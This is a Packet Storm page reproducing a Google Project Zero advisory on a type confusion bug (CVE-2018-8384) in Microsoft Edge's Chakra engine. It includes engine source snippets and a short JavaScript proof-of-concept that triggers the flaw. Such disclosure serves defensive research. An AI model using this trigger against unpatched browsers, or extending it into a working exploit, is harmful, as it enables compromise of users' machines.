Twenty Year Anniversary

Microsoft Edge Chakra PathTypeHandlerBase::SetAttributesHelper Type Confusion

Microsoft Edge Chakra PathTypeHandlerBase::SetAttributesHelper Type Confusion
Posted Sep 18, 2018
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra suffers from a type confusion vulnerability with PathTypeHandlerBase::SetAttributesHelper.

tags | exploit
advisories | CVE-2018-8384
MD5 | 5bdea5cae9762e60edfaa8a268f78dbb

Microsoft Edge Chakra PathTypeHandlerBase::SetAttributesHelper Type Confusion

Change Mirror Download
Microsoft Edge: Chakra: Type confusion with PathTypeHandlerBase::SetAttributesHelper 

CVE-2018-8384


Here's a snippet of PathTypeHandlerBase::SetAttributesHelper.

PathTypeHandlerBase *predTypeHandler = this;
DynamicType *currentType = instance->GetDynamicType();
while (predTypeHandler->GetPathLength() > propertyIndex)
{
currentType = predTypeHandler->GetPredecessorType();
if (currentType == nullptr)
{
#ifdef PROFILE_TYPES
instance->GetScriptContext()->convertPathToDictionaryNoRootCount++;
#endif
// This can happen if object header inlining is deoptimized, and we haven't built a full path from the root.
// For now, just punt this case.
return TryConvertToSimpleDictionaryType(instance, GetPathLength())->SetAttributes(instance, propertyId, ObjectSlotAttributesToPropertyAttributes(propertyAttributes));
}
predTypeHandler = PathTypeHandlerBase::FromTypeHandler(currentType->GetTypeHandler());
}

When object header inlining is deoptimized, the type handler of the object is converted to a dictionary type handler. The problem is that it doesn't consider some attributes that dictionary type handlers don't have, so adding or removing those attributes can fail. ObjectSlotAttr_Accessor which indicates that the property is an accessor is one of them.

Here's a snippet of PathTypeHandlerBase::SetPropertyInternal.

else if (isInit)
{
ObjectSlotAttributes * attributes = this->GetAttributeArray();
if (attributes && (attributes[index] & ObjectSlotAttr_Accessor))
{
this->SetAttributesHelper(instance, propertyId, index, attributes, (ObjectSlotAttributes)(attributes[index] & ~ObjectSlotAttr_Accessor), true);
// We're changing an accessor into a data property at object init time. Don't cache this transition from setter to non-setter,
// as it behaves differently from a normal set property.
PropertyValueInfo::SetNoCache(info, instance);
newTypeHandler = PathTypeHandlerBase::FromTypeHandler(instance->GetDynamicType()->GetTypeHandler());
newTypeHandler->SetSlotUnchecked(instance, index, value);
return true;
}
}

We can use the bug to make removing ObjectSlotAttr_Accessor fail. As a result, a data value can be used as an accessor.

PoC:
let o = {
get a() {},
0: 0, // Deoptimizing object header inlining
a: 0x1234
};

o.a; // Type confusion


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: lokihardt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    26 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    2 Files
  • 7
    Oct 7th
    3 Files
  • 8
    Oct 8th
    23 Files
  • 9
    Oct 9th
    16 Files
  • 10
    Oct 10th
    15 Files
  • 11
    Oct 11th
    19 Files
  • 12
    Oct 12th
    16 Files
  • 13
    Oct 13th
    2 Files
  • 14
    Oct 14th
    2 Files
  • 15
    Oct 15th
    15 Files
  • 16
    Oct 16th
    5 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close